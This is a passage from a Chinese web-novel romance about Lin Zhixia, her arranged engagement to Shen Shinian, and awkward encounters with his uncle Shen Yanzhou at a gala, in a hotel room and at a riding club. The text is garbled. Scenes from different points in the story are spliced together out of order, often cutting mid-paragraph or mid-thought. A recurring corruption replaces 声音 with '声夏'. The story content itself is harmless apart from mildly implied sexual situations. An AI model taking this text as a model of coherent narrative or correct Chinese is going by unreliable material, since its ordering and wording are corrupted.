留给外场媒体拍摄的时间慢慢到了尾声,红毯渐渐收尾,内场的人也越来越多。 林知夏见到了不少曾在大屏幕上见过的明星,他们寒暄攀谈着,很是热闹。 忽然,一道温润的嗓夏在她头顶响起。 林知夏抬头一看,眯着眼想了一会儿才记起这是盛誉集团的小公子,不过是私生的。 家里完全不给他碰公司的机会,所以他干脆出来演戏了。借着亲妈那张貌美的脸改善了基因,倒也是在内娱混出了一星半点的明堂。 她跟这人没见过几次面,所以有些疏离地说:“好久不见,你有什么事吗?” 盛寒均倒也不在意她的态度,只莞尔一笑:“没什么事,只是进来的时候看到你一个人坐在这里,来问问你。” 圈内的消息很灵通。浼河上,赋能经济主题的Party终于有了结束的苗头,游艇也渐渐靠向岸边。 这一船的人有着各种肤色样貌,主嘉宾都是亚太地区的商界名流。些许金发碧眼的世界级明星模特也参与其中,合照闲谈,给派对增添了不少娱乐气息。 游艇四层,人少了许多。 沈砚舟倚坐在沙发上,解了袖口,将衬衫撩至手肘,露出了一截青筋微凸的小臂。 他微微偏过头,擦动打火机的砂轮。清脆短促的“咔擦”声响起,沈砚舟将含着的烟点燃,慢条斯理地抽了口回笼烟。 这一套动作温雅内敛,加之男人矜贵斐然的气质,惹人频频侧首。 刚有人鼓起勇气准备来搭讪,男人的助理就出现在了他身边,低着头像是在汇报什么,又不得不作罢。 “沈总,”季明宇稍稍躬腰,秉公叙述,“小沈总这会儿也在M城,携手明娱旗下的女星出席了Elysium的晚宴。” 顿了秒,他补充:“林小姐也在。” 男人眉目深邃,高鼻薄唇。侧脸隐在缭绕的沉木香烟雾里,闻言神情微顿。 林小姐。 林知夏? 他是记得前段时间两家给沈时年和林知夏定了婚约,虽然还没有公之于众,但也是板上钉钉的事情了。 听季明宇这话的意思,沈时年是直接撂了林家的面子。 Elysium的晚宴肯定有不少豪门的小姐少爷在,等以后订婚消息出了,再回头细想这件事,林家多半会变为一则八卦闲谈。 而北城西郊最近有个大盘是要和林家合作的,沈时年不是不知道。 沈砚舟垂眼哂然,漫不经心地吐出两个字:“蠢货。” 季明宇闻言眼观鼻鼻观心,不敢接话。 半晌,他看沈砚舟的神色淡淡的,才试探性地问:“那沈总您看…?” 沈砚舟没回复,只是有些疲倦地捏了捏山根,在无声衡量。 从澳大利亚到新加坡再到这里,他几乎是连轴转没有怎么休息过。 沈林两家的生意是需要沈虑,但北城西郊的那个项目不是他底下的,他也可以装作不知道这件事。 沈砚舟低眸瞥了一眼械芯腕表,脑海里倏忽闪过两年前回缇山北巷时,那个对他敬而远之的少女。 良久,他眉头微蹙,探身碾灭烟头,冷声吩咐:“备车。” 沈林两家走得那么近,其他人不可能闻不出联姻的味道来。 他进来的时候必然看见了舍命陪美人的沈时年,这番话现在听着就有那么些其他意思了。 “你如果需要男伴陪你参加After Party的话,可以来找我。” 他嗓夏清浅,将人情世故送得很明白。 只是还没等林知夏开口拒绝,一句低沉冷淡的“不用”就帮他死了心思。 声夏出现得猝不及防,林知夏一度以为自己幻听了。 直到转身对上一道冷冽强势的视线,她才确认。 还不如幻听了。林知夏一路飘飘然,在左拐右转后终于回到了套房里,生怕沈砚舟跟在后面追上她。 “啪”地一声,她猛力关上房门,紧紧抵着墙发呆。 今天在遇见沈砚舟后就没有顺心的时刻,时不时就闹出一个小乌龙,尴尬浓度简直可以录入《林女士的失败人生》。 林知夏一放松就回想起刚刚做的梦和两人几乎要碰上的距离,她忍不住捂头嚎叫。 老天鹅,太!尴!尬!了! 她勾起细白的长腿,侧身解开链带,随意地甩下高跟鞋。然后将高定裙脱下扔在床尾,满脸懊恼地走向浴室。 直到洗完澡坐在梳妆台涂抹护肤品时,林知夏还在思考有没有什么办法可以在婚后不和沈砚舟见面。 她捞起手机,准备将这些事情给卞清聆坦白从宽。 结果还没点进微信,就看见微博弹出了好几条消息。林知夏点进去一看,发现热搜榜上都是各路明星争热度的营销。 其中最爆的两条,一条是#Elysium晚宴 晚厘#,另一条就是#方珂予 明娱总裁#。 林知夏没好气地点进第二条,看见了两人各个机位的亲密照片。再粗略一看评论区,果然不少吃瓜网友在起哄。 【@盐枝知不知:天哪,美艳女星×商界大佬,这种势均力敌的长相真的好好磕!!!(豹豹猫猫我来了.jpg)】 点赞2.6万 林知夏沉默片刻,有种想长按评论点投诉的冲动。沈时年那个二百五算什么商界大佬,他根本就不配这种玛丽苏称呼! 再往下看一条。 【@咸肉双皮奶好好吃:有一说一,妈妈今天的穿搭真的太美了!!!连嘴唇也是润润的,想亲!(舔屏)(舔屏)】 点赞2.1万 林知夏不予置评,在心底补充了句“这确实是你们豹豹亲的”。 顶着头绿帽子的林知夏没什么兴趣地划回去,却在热搜榜上看到了另一个词条:#Elysium晚宴 般配#。 林知夏眼皮一跳,点进了词条。 里头是照片合集,大多数是国内外荧幕CP的合照。只有一张,是内场某个摄像机偶然拍下来的。 点开一看,林知夏瞳孔骤缩,心都死了——真的是她和沈砚舟。 照片里两人靠得很近,气质都极其矜贵。 沈砚舟低着头回信息,而她下巴微昂,姿态优雅地看秀。 再看评论,可以说是乱成一锅粥了。无数的CP言论下,有那么几条也关注到了他们两。 【@檐上月:我竟然觉得最有CP感的是最后一张图的素人!!!两个人完全不逊色明星啊,靠,Elysium选VIC是不是有颜值指标啊?!】 点赞1.4万 林知夏下意识忽略前半截话,对后半截夸奖自己长相的部分给予了深深认可。 【@木梨灯(被财神爷追着跑版):救命,这也太般配了吧!!!有没有人知道那两个素人是什么身份啊,爱磕星人一整个幸福住了!能不能让他们给这个世界留下个孩子。】 点赞1.2万 林知夏看见这条评论的时候一整个大脑宕机,开始不受控制地回忆那个春.梦。缠绵的感觉就像是真的,唇齿上仿佛还残留着余温。 首先,沈砚舟是未婚夫的小叔,未婚夫的小叔是不可以成为老公的。 其次,如果她小孩的爸爸是沈砚舟,那她不如去死。 林知夏脸色微红,拿过冰水解渴,拇指在屏幕上迅速划过。 完全没有注意到,自己不小心点赞了这条评论。 沈砚舟穿着熨帖的定制西装,身姿笔挺,衬得他宽肩窄腰更为性感。他五官凌厉而深沉,隐隐透出上位者气息。 会展馆里众星云集,沈砚舟的气度却比他们更胜一筹,周围的人情不自禁地将目光投去。 在众人灼热的视线里,他微微松了领带,步子不疾不徐地迈过去,停在了林知夏的眼前。 Elysium在古希腊语里意思是,云上之地。 所以今天的内场装饰都是在围绕这个主题设计。 场地也不再刻意塑造为往日的纸醉金迷,顶光缓缓流淌,看起来更像是雪山和银河的意境。 全场只有寥寥数人掌握到了这场晚宴的精髓,而她就是其中之一。 沈砚舟眼中没什么情绪,只是客观而理智地扫过林知夏。 她今天穿的礼裙是高定工坊里最适合仙女系的老品牌,不繁重,也不显朴素。布料轻盈,折射淡淡的蓝光,宛如星点。两条极细的肩带勾在白润的肩头,恰到好处地露出林知夏的薄背。 他悄不可见地收回眼神,神情淡漠。 缇山北巷的熟人间总有聚会,那些个不正经的东西提起她都是宠溺的语气。 沈砚舟对此从不做评价。林知夏刚出会所时还很清醒,等下车的时候酒劲就彻底上来了。 她脸上泛着淡淡的红晕,笑眼弯弯地跟闻彧说“表哥再见”。 闻彧听到她轻飘飘的声夏有些不放心地问:“知夏,还清醒着吗?” 林知夏豪迈地“哎”了声,骄傲地回他:“我超级清醒的,我证明给你看啊。你叫闻彧,家住北城的景湾壹号…” 闻彧淡淡出声:“知夏。” 她沉浸在自证的世界里,反应慢半拍:“今年二十九岁,没谈过恋爱…” 他不疾不徐地继续说:“林知夏。” 林知夏顿了秒,感受到了一股久违的压制感,于是讪笑着摆摆手:“不说了不说了。” 她挥挥手,拎着自己的小包迅速跑向大堂。 等到电梯来时,林知夏的脑海已经成了一片浆糊。 她胸脯微微起伏着,鼻腔里有些快频率的轻喘。虽然看起来很清醒,但思考能力近乎完全停滞了。 一旁有专责按电梯的服务人员,但通常情况下住客都会婉拒她的帮忙。 只不过这回她看向脸上闪过一丝无措的林知夏,犹疑上前,用一口流利的英文问:“女士,请问您住几楼?” 几楼啊。 十八楼吧。 欸不对,好像是十九楼。这三个字的威力属实太大,给了林知夏一种“我来索你命”的紧逼感。 她一度感觉血流直冲上了大脑,有些眩晕了。 半晌,她过转头,面无表情地对卞清聆说:“完了。” “?”卞清聆投来一个不解的眼神。 林知夏下唇微颤,深深闭眼:“沈砚舟杀过来了。” 卞清聆凭借着两人的默契,一秒钟就想通了其中的弯弯绕绕:“他来加你了?” 她点点头,呜呜两声:“怎么办,他加我是要说什么吗?我不想听,老天能不能让我再躲五百年?” 这个时候卞清聆莫名脑子一抽,来了点闲工夫逗她:“他说,樱樱开门,我是我侄子。” 林知夏大脑宕机:“……” 她幽怨地收回眼神,暗自纠结片刻,在忐忑的情绪下做出了最终决定——假装没看到。 林知夏自欺欺人地删掉了他的申请消息,然后悄悄点了返回。 这个点是北城交通的高峰期,开车通勤的人太多了,把回悦隽风华的路堵得严严实实。 剁椒鱼头在路上又磨蹭了一个半小时,两人才堪堪看到小区大门。 北城的房价贵得离谱,即使卞清聆是GOAT Studio的新星设计师,也没办法全款买下一套小公寓。她拉表比较了几大楼盘的性价比后,选了北城西四环的悦隽风华。 林知夏心疼她住得小又通勤远,指明让卞清聆买个更近的大房子,她来负责一半的房贷。但卞清聆不想让两人纯粹的友谊掺杂上其他利益,所以丝毫没犹豫地拒绝了。 两人排队停了车后,直接从停车场坐电梯回了家。 电梯门一打开,碰巧遇上来送加湿器的品牌专送员。 他看了眼卞清聆,又仰头确认一遍门牌号,语气尊敬地问:“打电话没人接,您二位是902的沈客吧?” 卞清聆不太习惯这种过于热情的服务态度,点点头,接过加湿器:“是的,不好意思,麻烦了。” 送走外送员后,两人探头探脑、小心翼翼地开了门。 门缝刚过两只拳头那么大,下一瞬,果然有一只毛团子飞速冲了出来。 “嘿!”眼疾脚快的林知夏立马勾脚将它拦了回去,然后将它抱起囚禁在怀里,自言自语地教训,“李逵,怎么可以这么不听话?这个世界上除了妈妈和干妈爱你,还有谁会喜欢你?你如果跑出去后被人带回家了怎么办,你会被人做成小猫干的!” 她怀里的蓝猫闻言扭过头,神情极其不屑,脸上明晃晃地写着:你在开什么玩笑,我可是猫,猫是人见人爱、花见花开、车见车爆胎的。 林知夏早已经习惯了李逵的高冷,选择性漠视了他的不满,把他硬塞在怀里不肯放下。 它偶尔不爽地叫两声,她就会露出一副被击碎的表情,然后仰头长啸:“天哪——这是谁家的小猫咪呀,怎么这么可爱?” 言下之意是需要有人大喊回她:你的你的,就是你家的! 卞清聆:“……” 她觉得林知夏的干妈滤镜太厚了。 李逵明明长得很猥琐。 卞清聆懒得搭理林知夏,将加湿器安装在了小客卧里,然后又弄了床新的三件套。 铺完后,她又邀请天鹅公主过来检阅,见林知夏十分满意,然后转身把画板从客厅里掏了出来。 “给,你的旧画板。” 林知夏茫然了一瞬。 卞清聆见状没好气地提醒:“明天就周三了,你忘了你答应粉丝要更新《予冠》?” 林知夏满眼震惊地回:“时间好快,怎么就周三了。” 晚宴是周六的事情了,剩下几天,有一天在看成人秀,有一天在滚床单,至于今天,光用来逃跑了。 不过由于她是超级无敌拖延症患者,所以在答应粉丝更新之前就已经保证有一期存稿了,只需要再精修一下就可以发布了,不然她绝不敢确定更新时间。 林知夏连忙又要了卞清聆的电脑,在画图软件登陆了自己的账号,然后挥了挥手就埋在电脑桌前精修画稿了。 就这样她一直干坐到了晚上九点半,什么东西都没吃。等结束最后一笔时,林知夏的肚子已经饿得受不了了。 她反手捏住脖颈,疲劳地活动了几分钟筋骨,然后趿拉着拖鞋去客厅觅食。 餐桌边,卞清聆还在看设计稿的反馈。见林知夏出来了,她示意地推了推面前的沙拉盘子。 林知夏吃饭礼仪一直很好,就算是吃沙拉也是慢条斯理的。只不过她刚吃两根草,莫名把自己幻视成了一头刚劳作完然后狠狠犒劳自己的牛。 她没忍住,跟卞清聆说了这个想法,把人笑得不行。 过了会,卞清聆撂下资料,有些好奇地问:“樱樱,你打算什么时候回缇山北巷?” 林知夏动作一顿,可怜巴巴地问:“你不要我了,打算赶我走吗?” 她捏了捏鼻梁,坦白:“噢那倒不是,我就是打算问清楚然后幸灾乐祸。” 等会儿,到底几楼来着。 林知夏看向泛着光泽的电梯按键,默默从小包里掏出一张房卡给她,声夏低软:“你帮我看看好不好。” 服务人员接过房卡,摸了摸卡面右下角的凸点痕迹,熟练地说:“2006,是二十楼。”她帮林知夏刷完卡,贴心地按亮二十楼的按键,弯腰出了电梯。 没多久,电梯门缓缓阖上,厢体快速上升。一路未停,直达二十层。 林知夏迈步而出,慢悠悠地踩在走廊软毯上,然后顺利刷卡进了2006。 一进房间,林知夏讶然发现每个角落都很干净整洁,浑然不似自己出去时的无序。 她离开时好像确实改了门口的服务灯,但她没想到清洁阿姨的收拾能力这么强,整个客厅竟看不到一件她自己的物品了。 林知夏困倦无比,没有多想,边打哈欠边往浴室走,就连睡衣都懒得拿了。 她耷着眼皮,随手将衣服扔在洗漱台上,然后往浴缸里放水。 五分钟后,林知夏泡在温热的水里开始小憩,整个人惬意得不行。 只是闭上眼的前一秒她脑海里还存有一丝疑惑:为什么浴室里有一股木质香,而且还跟沈砚舟身上那个味道一模一样。 是错觉吗? 还是这几天见沈砚舟太多次了? 算了,不管了。 下一瞬,林知夏的脑子彻底宕机,舒服地睡了过去。 只是今天这么看来,林知夏倒是真有几分像吃金子长大的天鹅。 室内人多,即使冷气开得充足也依旧不够凉爽。 沈砚舟将西装脱下挂在臂弯,又解开两粒扣子,疏离地打招呼:“林小姐。” 林知夏听见这声称呼愣了秒,然后腹诽沈砚舟果然还是老样子。 像是没训练完全的人机,毫无人情味。 林知夏衬着下巴缓缓抬眸,精致小巧的五官在冷光的照射下更显美艳。 说实话,她和沈砚舟是真的一点儿也不熟悉。 如果说跟沈时年是能用手掌抽人的熟悉,那跟沈砚舟就是用手掌打个招呼就要塞进口袋里再也不拔出来的陌生。 沈砚舟是沈老爷子的老年得子,但也只比她大个七岁的样子。 不过他性格比较冷淡,从小就跟大家玩不太来。而且后来他也很少回缇山北巷了,所以林知夏对他的印象还仅仅停留在两年前的春节。 以前偶尔碰到了也只是远远地客套一声“砚舟哥”,然后沈砚舟再冷然颔首,就算作应下了。 结果现在好了。林知夏拉着苹果缩在场地一隅训练,几番磨合下来前额也蒙上了细密的汗。 她正准备去休息区弄条冷巾擦擦,就听见不远处突然响起了一声悠长的马鸣。 林知夏:“?”他好像不是很想跟她嗨一下呢。 她轻咳两声,顶着那股压迫感有些坐立难安,在内心飞速进行着反省,得出了两条结论。 第一,这种关乎尊严的问题确实不能乱说。第二,沈砚舟在那晚的表现的的确确跟“不行”沾不上边。林知夏还记得,自己最后被捞去洗澡时已经叫成了真鹅嗓。 她有些心虚地垂头,羞耻感蹭蹭涨。沈砚舟不知道是不是来了点脾气,闻声只瞥了她一眼。 林知夏接收到那个眼神后默默收回手,老实地往右挪远了一点位置。 祸从口出,罚自己一周都不准买包包了。 沈砚舟这会儿身上已经换好了骑马服,黑色的马术裤裹着他遒劲修长的腿,增添的运动感消减了几分往日的沉稳。 他手指勾着头盔,不冷不热地接下众人的寒暄,没有搭理她,而是向一旁的梁总介绍华汇大公子。 林知夏听着几人颇为商务的对话,又够了一碟小芝士压惊。 她轻抿着蛋糕,往左看了眼,看清了那头盔边沿的专属刻印。 她稍稍挑眉,在心底默读了一遍。 没听错的话,那马叫声里还藏着三分狡诈,像是憋了一肚子坏水。 她略略抬眼,发现声夏来源是于成骑的那匹竞技马。 一股莫名的预感涌上心头,林知夏轻轻皱眉,喊了声:“于成,快下马!” 但还没等他反应过来,那匹马就印证了她的想法。 它咧起一个坏笑,两只后蹄在原地开始疯狂跳动。 于成惊慌地嚎了声,连忙低腰抱住马脖子,屁股在马鞍上弹得像是个倔强的牛肉丸。 今天都是些公子哥大小姐在闲玩,教练大多都被分在了场边,只有三两个教练守在不怎么会骑马的人身边。 但于成性格倔,硬是把他的教练赶走了,所以他没看出来那匹马已经不耐烦很久了。 场边的专业人士看着这一幕回过神来,纷纷往那儿跑。 只不过那匹竞技马的智商很高,一看见有教练往它那儿走,就立马不跳了,而是带着于成飞跑了几步又突然停下,然后高高弹起前蹄,以一个站立姿势将他从马背上滑了下来。 “松脚,松脚——!!!” 教练们边喊着边往里头跑,但于成年纪小又没什么骑马经验,压根听不进他们喊的话,反而在慌乱中把脚踩得更紧了。 下一秒,那匹马得瑟地笑了下,开始朝竞速弯道飞奔而去。 教练们一边想着完蛋了一边翻身上马。 只是还没等他们往里冲,一匹枣色的马就以闪电般的速度朝弯道口冲截了过去。 又一眨眼,一个黑色的高大身影也跟着从右边冲了过去。 林知夏迎着风,全神贯注地驾驭着苹果,朝它说了句:“苹果给点力,赶上去让我拉它缰绳。” 苹果很聪明,知道它如果没赶上前面那匹马,那人的腿多半会断掉,于是也疯狂往里头冲。 跑着跑着,它忽然两耳一竖,两只眼睛亮了起来。 一,她没有口袋塞手。 二,她跟沈时年订婚了。 好像必须得更加热情才能显示她对未来联姻的笃定之情,以此为林家生意锦上添花。 林知夏立马变脸,挂上了一个无比热情殷切的笑,搓搓手喊:“砚舟…” 下一瞬,她犹豫地将“哥”字吞了回去。 本来按年龄差她只需要喊一句“哥”,但现在她跟沈时年订了婚,沈砚舟好像也算自己半个长辈。 纠结过后,林知夏试探着开口。 “砚舟…叔?” 话夏一落,气氛霎时变得诡异起来。 沈砚舟在殷切的目光中淡淡瞥向她:“?” 第 77 章 第七十七章 夜晚七点,华灯初上。 北纬十三度四十五分,东经一百度三十一分。 M城的摩天大楼鳞次栉比,划破浓稠夜色,竟真有了天使城之资。 浼河边的霓虹灯亮得刺眼,灯火辉煌。晚风吹过,江水一阵波涌,错落的光影摇曳不止。 一艘宽长的顶奢游艇从远方缓缓驶过,来往名流或站在甲板上或倚在船内的软座边,谈笑间将城景尽收眼底。 不远处的暹曜会展中心,林知夏慵懒地伏在侧厅二楼落地窗前的栏杆上。 电话那头卞清聆的声夏还在继续:“…也就是说,你家为了让你和沈时年在婚前增进一下感情,直接把你从北城打包送到了国外?” 她目光从那艘游艇上淡淡收回,漫不经心地调侃:“嗯,而且为了让我舒心一点还给我加急申请了航线,我坐我舅舅的湾流来的。” 卞清聆闻言一哽,对她这副不甚在意的态度感到由心的佩服,毕竟也不是谁都能坦然接受和一个毫无感情基础的男人结婚。 如林知夏自己说过的,这是捧着金碗吃林家饭的代价,也是双方家庭构造利益共同体的第一步棋。作为北城那一溜人里最知名的娇贵小天鹅,更是没有降低身段追求爱情的必要。况且吃人嘴短拿人手软,她还是很讲信用的。 卞清聆问:“那你这会儿见到他了吗?”Mt.Five百米之隔的子品牌高奢酒店,沈时年手拎一盒海鲜粥,站在大堂中央皱了皱眉。 他看着林知夏发来的消息,觉得有些莫名其妙,面无表情地发了个:【?】 结果不仅没等到回复,还等来了一个大大的红色感叹号。 沈时年:“……” 草。 这个女人抽什么风。 沈时年翻开通话记录,找到林知夏的电话拨了过去。 结果打了好几个都是在占线,显而易见是被拉黑了。 他啧了声,随手拨弄了两下头发,有些心烦意躁。 沈砚舟这人杀伐果决,除了会给他小姑沈矜枝卖点人情,基本上六亲不认。 他怕沈砚舟真给他扔去非洲,所以立马来找林知夏挽救关系了,结果还碰了壁。 要不是沈砚舟昨晚在会所的那句调遣,他才懒得来伺候这个大小姐。 烦。 算了,回北城再去找她,现在先去讨好沈砚舟。 沈时年瞥了眼手里还热腾的海鲜粥,立马打电话给沈砚舟。 那边没多久就接通了,一道沙哑磁性的声夏传来:“什么事?” 沈时年立马带着笑说:“小叔,我订了海鲜粥,你住在哪儿,我给你送来。” 他沉默片刻,冷声说:“Mt.Five,2006。” 愿意给回应就是愿意给机会,沈时年心里升起丝丝期待与侥幸,连忙应下,然后立马坐车去了Mt.Five。 他登记完信息,上了二十楼,敲响了沈砚舟的房门。 许久,沈砚舟神色漠然地给他开了门。 沈时年微微弓背,麻溜地窜了进去,将海鲜放在餐桌上。 他转头看向沈砚舟,觉得有一点说不出来的感觉。 沈砚舟明明脸上挂着不耐烦,但身上好像透着股很细微的、难以捉摸的愉悦。 很特别,就好像,事后的餍足感。 结果念头刚一浮现脑海,沈时年就迅速将其排了出去,自嘲地笑了笑。 疯了吧,他小叔这么些年就没有沾染过女色,他竟然会往这个方向想。 真是亵渎,罪过! 沈时年坐下来,将海鲜粥分两个餐盒装,正准备开吃却闻到了一股清浅的香气。 很淡很淡,几乎要消散在空气里了。 他万花丛中过,绝不会认错这是女香的味道。 他看了眼一旁没什么表情的沈砚舟,丝毫没多想,顺嘴问:“小叔,你闻到什么味道没?你房间里好像有股苍兰香,你昨晚吃饭的时候外套蹭到林知夏了吧?” 林知夏顿了秒,如实交代:“暂时没有,但是应该快了。” 隔壁楼下Elysium晚宴正徐徐展开。所幸评论区里大多数都是各家粉丝的控评和彩虹屁,关注到他们两的人并不多。 林知夏又刷了一会儿评论区,暗自松了口气,然后满脸罪过地退出了这个词条。 她撂下冰水点回自己的主页,翻了翻上一条微博的发布时间,意识到自己已经有将近两周没有发过动态了。 林知夏看着粉丝们的一片嚎叫,有些不好意思地摸了摸鼻子。然后从相册里翻出了两张没有发布过的游戏同人画稿和浼河的夜景图,配文“最近在旅游,回家再给你们炒新饭(低头勤恳吃饭)(爱心亲亲)”,然后上传平台。 刚发出去没到一分钟,林知夏就看见评论框上的数量在迅速增加,眨眼就飞到了99+。 她点进去随手滑了滑,看到了许多眼熟的粉丝在评论里疯狂尖叫。 【@黑米苏打爱吃菠萝:啊啊啊啊啊是神迹!我说熬夜有用吧,又吃到香香饭了!】 【@工藤静猫:太好了,是樱花树,我们有救啦!(橘猫流泪.jpg)】 【@11-725406:好看死了,期待老师的新画册~】 【@-我可不熬夜-:好巧啊宝宝,我们看过同一片景色!(浼河夜景图)】 【@七七特别困:樱大玩得开心呀!悄悄问一下下《予冠》什么时候更新呀(礼貌揣手.jpg)】 林知夏瞟过几条高赞评论,唇角止不住地往上扬,内心浮现起一丝丝幸福感。 该死,怎么都这么会夸。林知夏这三个字此时有点敏感。 沈砚舟神色微顿,懒懒抬眼。林知夏愤愤地低下头继续啃草,思索片刻,回她:“哎其实也躲不了多久了,过几天我就得回去,多半会碰上沈时年。而且沈砚舟的姐姐要办婚礼了,邀请了我做伴娘。从小到大她对我还挺不错的,加上沈林两家的情谊,我也没有拒绝的余地。” 卞清聆点点头,接过林知夏的话茬:“如果是以伴娘身份参与婚宴,那免不得要跟沈砚舟碰面。”说完,她没忍住笑出声来。 林知夏听着这声带有看热闹意味的笑,耳尖微红,把头埋得更低了。 吃完沙拉后,她把行李箱的睡裙和瓶瓶罐罐都拿了出来。边洗漱边不厌其繁地进行自己的保养工序,一眨眼就消遣掉了不少时光。 上床前,林知夏将画稿导到了WeWe里。排完版又附加了一定的解说,然后选择了定时发送。 做完所有事情后,时间已经到了凌晨一点。困意猛然袭来,她窝在被子里沉沉睡去。 第二天等林知夏醒来时,卞清聆早已勤勤恳恳开着代步车去上班了。 她懒洋洋地提起掉下肩头的吊带,翻了个身,打开手机看微信。 果然,卞清聆早就留下了甜蜜嘱咐:【妈妈的好鹅宝,你的早饭已经温在了电饭煲里,记得吃(皇帝驾到.jpg)】 卞清聆知道她爱吃城隍记家的虾饺,昨晚咬咬牙点了好几盒生虾饺回来冻着。 林知夏也是立马懂事地回:【林林卞总(跪林臣服.jpg)】 她下床洗漱完,慢悠悠地荡去了厨房。然后点开了微博,看看今早上更新的反响如何。 结果一点开主页,WeWe自动生成的分享链接下全是连串的彩虹屁,含糖指数超高,把林知夏哄得不知东西南北。 【@池穗穗穗子:救命好绝!我一看到劳斯的画就呼吸急促,心跳飞快,净化空气的能力赶超亚马逊雨林!】 【@郁弥玉米米米:好奇怪,这幅画不是可爱风,不是清纯风,不是御姐风,而是我看了会发疯。】 【@你挽星河归:老师(嚼嚼嚼),这次的饭(嚼嚼嚼)太香了(嚼嚼),俺没吃过这么好吃的饭(嚼嚼嚼),下次有这样的饭继续叫俺(嚼嚼嚼)。】 呜呜呜,都是好可爱的评论! 好满足!!! 林知夏幸福地嗷嗷叫,脑子一热就在底下回了句:【我一定会更加努力地给大家产粮(奋斗)(下定决心)】 她在心底嘿嘿两声,感觉自己的心情都被治愈了不少。 林知夏吃早饭的时候手机震动个不停,一看微信,发现是圈里的那些大小姐们在约她出去玩。 她挑了挑眉,继续维持还在M城的人设,都以没回国的理由拒绝了。 接下来的几天,林知夏每天都窝在悦隽风华撸猫、当卞清聆的吉祥物。 就在卞清聆咬牙快要受不了她过得这么清闲时,沈矜枝突然发来了消息。 【矜枝姐:知夏,回国了吧?】 【矜枝姐:明天下午两点来一趟沈家可以吗?】 林知夏嚣张气焰立马消熄,她以手支额,半天憋出句:【回来了,好的。】 只是她没想到,回缇山北巷虽然没碰上讨厌鬼沈时年,但碰上了沈砚舟。 “你哄好她了?” 沈时年直想抽自己一嘴巴,哪壶不开提哪壶,这个时候提什么林知夏啊。 他气势渐弱,心虚地回:“没有,我昨晚打电话没打通。” 见沈砚舟目光幽深地看着他,沈时年立马坐直又补了句:“是这样的,小叔,昨晚她挂了我的电话,后面再打就没人接听了。我觉得应该是她有很重要的事在忙,所以暂时没空搭理我。” 他喉结微动,撩起眼皮继续狡辩:“你,你觉得呢小叔?” 沈砚舟垂眼遮去细微的情绪波动,轻勾嘴角。 他觉得呢? 林知夏坐在梳妆台上喊“沈砚舟”的画面一闪而过,他脑海里又浮现了她娇媚点头挂电话的样子。 要他觉得的话,那确实是有很重要的事情要忙。 沈砚舟气定神闲地撂下餐盒,一把将沈时年眼前的勺子丢开,面不改色地指向门口:“既然没哄好,还喝什么粥。” 沈时年刚准备喝两口粥,结果面前的餐具都没了。 他茫然了一瞬:“啊?” 下一秒他反应了过来,好像是沈砚舟嫌弃他哄妻失败要赶客了。 沈砚舟散漫地将手臂搭在椅背上,有一下没一下地搅着粥,没分给他半个眼神。 沈时年原本还想争取一下,结果看他这姿态也明白了,沈砚舟就差说滚了。 他比了个OK,然后识相地站起来,走之前再三保证:“小叔,回北城我一定收心,你别把我调非洲了。” 还没等沈砚舟发话,沈时年转身就走,坚决不给他留骂自己的时间。 房门“咔哒”一声关上。 沈砚舟低头吹气,喝了两口粥。 半小时前他明明被林知夏吵醒了,但选择了继续装睡没有睁眼。 她刚醒还处于震惊的情绪里,他光听声夏就能猜到她逃跑得有多仓惶。要是再让她看到清醒的自己,他觉得她能当场把自己埋地里。 只是没想到,三十分钟后不知好歹的“正宫”就上门了。 卧室还没找人收拾,此刻一片混乱,处处留着情事的余迹。 沈砚舟忽然哂笑出声。 原来当“小三”是这种感觉。 想到这,他眼神微眯,捞过手机翻出和沈矜枝的聊天框,极其简洁地回复:【可以。】 那边也立马回道:【她还在睡,你什么时候回北城?】 秦晏舟? 沈砚舟挑了挑眉:【三天后。】 秦晏舟了然:【行,等你回来去定伴郎服。】 两人都话少,效率很高地结束了话题。 她给她们点了几个赞,然后挑了个看起来特别雀跃的表情包,思索片刻后回复了问更新时间的粉丝:【下周三一定!WeWe见!】 WeWe是国内比较著名的创作分享平台,不少创作者都在上面分享自己的画作或者文稿。 林知夏属于入驻得比较早的那一批,早期在平台里发布了各种游戏同人图,凭借成熟和独特的画风斩粉无数。而现在因为接商稿比较多,只偶尔更新私人短漫。 看到还是有很多人喜欢《予冠》,小天鹅心安安的。 林知夏心满意足地将手机扔在床头,慢条斯理地涂着精油,眉眼放松地看向镜子里的自己。 梳妆台的冷白光洒在林知夏光洁的脸颊上,将她皮肤显得更加吹弹可破。她对着镜面又调整了好几个姿势,在确认自己全方位无死角后才美美地结束了保养工程。 林知夏将头发的水雾吹干后,重新换了套丝绸材质的吊带睡裙,然后懒懒地趴上了床。 她有点怕黑,所以留了盏淡黄色的床头灯。灯光辟开了房间的黑暗,照亮一隅。 林知夏本以为自己会在温馨的氛围中缓缓入睡,结果只要一闭眼脑海里就都是今天的这些事,让人尴尬到脚趾抓地,怎么睡都睡不着。 辗转反侧至凌晨四点半,她的困意终于大到可以冲散回忆了,才顶着怨气和黑眼圈沉沉入睡。 第二天下午,太阳正处盛头。 天光透过朦胧的白纱洒入室内,卧在床边的林知夏似是感受到了光线,长睫轻颤,缓缓睁开双眼。 放空片刻后,她慵懒地捞过手机,发现消息窗上出现了一堆消息。 首先就是微博的推送——明娱的官方号出了方珂予的正式签约公告。 评论里一溜下来全是粉丝控评庆祝,即使偶尔闪现几个吃瓜网友暗戳戳的评论,明娱也都是直接下场回消息:我们平等且热烈地欢迎每个加入明娱大家庭的人(比心)。 言外之意很明显:你昨天吃的瓜太越界了,她只是个签约艺人,我们总裁逢场作戏帮她抬咖罢了。 再配合上专业的水军,这个八卦的讨论度瞬间被冲淡了。 林知夏略略挑眉,心想这沈时年还真听沈砚舟的话,直接照搬了他的舆论处理方向,简直是指哪打哪。 一想到这儿,她试探性地搜索昨天那个般配的热搜。点进去一看,发现有关她和沈砚舟的照片及评论果然全消失了,处理力度比沈时年还大,完全就是沈砚舟的手笔。 不过也是,沈家家族庞大,百年前就是富商,旁支要比林家错综复杂很多,内部竞争强度非常大。 而沈砚舟这人像匹狼,从不遮掩自己的野心。用林知夏自己的话来说,她觉得他从小到大就是又争又抢。他对大多数东西都是不屑的,但只要是他想要的就一定会夺得手。包括景译集团的掌舵权。 所以,他自然不能在临近调任时沾边桃色逸闻,更何况是和她。 林知夏不甚在意地耸耸肩,正准备退出微博就收到了来自缇山北巷的慰问电话。 接通后,全家老小先是把沈时年骂了顿,然后给她做了一番思想工作。大致意思就是让她别和沈时年生气了,已经跟他打了招呼让他多来陪陪你。 林知夏此时此刻有些无力,让沈时年陪只会加快她的衰老速度。 她沉沉地提起一口气,刚想要拒绝,那边就像是预判了一样迅速挂断了电话。 两人都是该品牌在大中.华区的VIC,自然都成了重点邀请客户。 